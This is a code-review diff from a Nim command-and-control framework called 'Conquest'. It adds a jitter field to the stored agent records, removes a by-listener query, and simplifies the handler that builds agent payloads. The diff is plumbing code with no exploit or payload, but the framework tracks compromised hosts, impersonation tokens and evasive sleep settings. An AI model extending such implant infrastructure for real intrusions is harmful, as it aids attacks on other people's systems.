os TEXT NOT NULL,
|
os TEXT NOT NULL,
|
||||||
elevated BOOLEAN NOT NULL,
|
elevated BOOLEAN NOT NULL,
|
||||||
sleep INTEGER NOT NULL,
|
sleep INTEGER NOT NULL,
|
||||||
|
jitter INTEGER NOT NULL,
|
||||||
modules INTEGER NOT NULL,
|
modules INTEGER NOT NULL,
|
||||||
firstCheckin INTEGER NOT NULL,
|
firstCheckin INTEGER NOT NULL,
|
||||||
latestCheckin INTEGER NOT NULL,
|
latestCheckin INTEGER NOT NULL,
|
||||||
|
|||||||
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
|
|||||||
let sessionKeyBlob = agent.sessionKey.toSeq()
|
let sessionKeyBlob = agent.sessionKey.toSeq()
|
||||||
|
|
||||||
conquestDb.exec("""
|
conquestDb.exec("""
|
||||||
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, jitter, modules, firstCheckin, latestCheckin, sessionKey)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||||
|
|
||||||
conquestDb.close()
|
conquestDb.close()
|
||||||
except:
|
except:
|
||||||
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
|||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|
||||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||||
let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
let (agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||||
|
|
||||||
# Convert session key blob back to array
|
# Convert session key blob back to array
|
||||||
var sessionKey: Key
|
var sessionKey: Key
|
||||||
@@ -47,6 +47,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
|||||||
agentId: agentId,
|
agentId: agentId,
|
||||||
listenerId: listenerId,
|
listenerId: listenerId,
|
||||||
sleep: sleep,
|
sleep: sleep,
|
||||||
|
jitter: jitter,
|
||||||
pid: pid,
|
pid: pid,
|
||||||
username: username,
|
username: username,
|
||||||
impersonationToken: impersonationToken,
|
impersonationToken: impersonationToken,
|
||||||
@@ -72,50 +73,6 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
|||||||
|
|
||||||
return agents
|
return agents
|
||||||
|
|
||||||
proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
|
||||||
var agents: seq[Agent] = @[]
|
|
||||||
|
|
||||||
try:
|
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
|
||||||
|
|
||||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listenerId = ?;", listenerName):
|
|
||||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
|
||||||
|
|
||||||
# Convert session key blob back to array
|
|
||||||
var sessionKey: Key
|
|
||||||
if sessionKeyBlob.len == 32:
|
|
||||||
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
|
|
||||||
else:
|
|
||||||
# Handle invalid session key - log error but continue
|
|
||||||
cq.warning("Invalid session key length for agent: ", agentId)
|
|
||||||
|
|
||||||
let a = Agent(
|
|
||||||
agentId: agentId,
|
|
||||||
listenerId: listenerId,
|
|
||||||
sleep: sleep,
|
|
||||||
pid: pid,
|
|
||||||
username: username,
|
|
||||||
hostname: hostname,
|
|
||||||
domain: domain,
|
|
||||||
ipInternal: ipInternal,
|
|
||||||
ipExternal: ipExternal,
|
|
||||||
os: os,
|
|
||||||
elevated: elevated,
|
|
||||||
firstCheckin: cast[int64](firstCheckin),
|
|
||||||
latestCheckin: cast[int64](firstCheckin),
|
|
||||||
process: process,
|
|
||||||
modules: cast[uint32](modules),
|
|
||||||
sessionKey: sessionKey,
|
|
||||||
tasks: @[] # Initialize empty tasks
|
|
||||||
)
|
|
||||||
agents.add(a)
|
|
||||||
|
|
||||||
conquestDb.close()
|
|
||||||
except:
|
|
||||||
cq.error(getCurrentExceptionMsg())
|
|
||||||
|
|
||||||
return agents
|
|
||||||
|
|
||||||
proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
|
proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
|
||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|||||||
@@ -91,15 +91,8 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
|||||||
cq.listenerStop(listenerId)
|
cq.listenerStop(listenerId)
|
||||||
|
|
||||||
of CLIENT_AGENT_BUILD:
|
of CLIENT_AGENT_BUILD:
|
||||||
let
|
let agentBuildInformation = event.data.to(AgentBuildInformation)
|
||||||
listenerId = event.data["listenerId"].getStr()
|
let payload = cq.agentBuild(agentBuildInformation)
|
||||||
sleepDelay = event.data["sleepDelay"].getInt()
|
|
||||||
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
|
|
||||||
spoofStack = event.data["spoofStack"].getBool()
|
|
||||||
verbose = event.data["verbose"].getBool()
|
|
||||||
modules = cast[uint32](event.data["modules"].getInt())
|
|
||||||
|
|
||||||
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules)
|
|
||||||
if payload.len() != 0:
|
if payload.len() != 0:
|
||||||
cq.client.sendAgentPayload(payload)
|
cq.client.sendAgentPayload(payload)
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user